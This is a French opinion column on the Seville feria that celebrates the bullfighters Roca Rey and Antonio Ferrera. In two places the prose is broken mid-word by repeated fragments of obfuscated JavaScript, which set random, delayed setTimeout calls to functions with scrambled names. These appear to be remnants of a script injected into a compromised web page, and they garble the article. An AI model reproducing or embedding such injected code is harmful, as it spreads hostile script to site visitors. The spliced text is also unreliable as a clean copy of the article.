DEUX TRIOMPHATEURS DEUX

La feria de Séville est finie. Sur son tableau d’honneur figurent deux noms qui ont brillé avec splendeur, très au-dessus de tout le reste, sans oublier les excellentes naturelles de Pepe Moral à son second toro. Les voici : Roca Rey et Antonio Ferrera. Ce sont eux : un torero tout neuf qui n’a pas encore deux ans d’alternative et un vétéran avec vingt ans d’alternative reluisants ; un garçon qui veut conquérir la planète des toros et un homme ayant survécu à mille batailles et capable de conjuguer à la fois, ce qui est très rare, les clés de l’épique et du lyrisme.

Roca Rey est arrivé comme un cyclone. Son souffle avait une telle puissance qu’il annula les coups de vent qui décoiffaient la Maestranza. Se plaçant au centre de l’arène avec pour bouclier son courage, avec le temple jaillissant de ses poignets et cette main basse dominatrice capable de faire vibrer les gradins comme aucun autre torero n’y est parvenu au cours de ce cycle, il a fait un tabac avec l’énorme sobrero « Soleares » pour clôturer avec son épée efficiente la seule faena qui méritait les deux oreilles au cours de la feria d’avril. Face à son second, à la pointe de son épée aurait dû s’ouvrir la Puerta del Principe, mais cette fois-ci les épées ne lui ont pas réussi et son rêve n’a pas été jusqu’au bout ; c’est néanmoins plus qu’un rêve qui illumine une réalité incontestable : toréant de cette façon, avec l’authenticité qu’il détient et l’aficion qui l’alimente, la Puerta del Principe ne tardera pas à tomber. Pour l’heure, il a ouvert la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte du cœur de l’aficion exigeante de Séville, qui l’a accueilli pour ce qu’il est : un torero doué avec un engagement absolu et des perspectives de futur impressionnantes.

Ce que fit Ferrera marqua aussi les esprits. Après sa démonstration de bravoure et de capacité à la corrida de Victorino –déjà évoquées dans un article précédent- il a refait un paseo le samedi de feria avec la corrida de El Pilar pour nous communiquer sa sensibilité. Si la corrida de Victorino ce fut épique, cette fois-ci les muses bénirent son lyrisme. Dommage que ce cinquième toro, qu’il avait toréé de manière exceptionnelle à la cape, se cassa une patte aux bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles. Nous sommes restés sur notre faim, car avec la qualité qu’affichait le toro, surtout de la corne gauche, et ce moment de grâce que connaît Ferrera, on pressentait une faena incroyable, artistique, inspirée et imprévisible qui semblait guetter nos cœurs emballés. Ce ne fut pas possible. Sortit alors le sobrero, un toro différent, avec d’autres clés et d’autres exigences. Cependant, Ferrera atteint en ce moment des sommets de toreria, de créativité et avec les idées très claires. Et il possède quelque chose d’encore plus important : le « sentimiento ». Ce sentimiento qui transforme tout ce qu’il fait en spirituel, situant le torero aux antipodes de l’insipide collectionneur de passes. Devant un toro vulgaire, il a transformé sa faena en une œuvre d’art, mesurée, reposée, propre et pleine d’inspiration. Dommage que l’acier ne lui ait pas porté chance, mais même ainsi, l’image de Ferrera après son passage à Séville fait de lui un des toreros les plus intéressants et qu’il faut voir parmi ceux qui figurent dans le classement des matadors.

Roca Rey et Antonio Ferrera. Deux toreros. Deux triomphateurs. Deux noms pour le souvenir. Deux passions taurines déchaînées. Deux figuras à suivre de près. D’ici peu arrive Madrid, puisse dame fortune leur porter chance dans ces arènes de Las Ventas. Le toreo a besoin de toreros comme eux.

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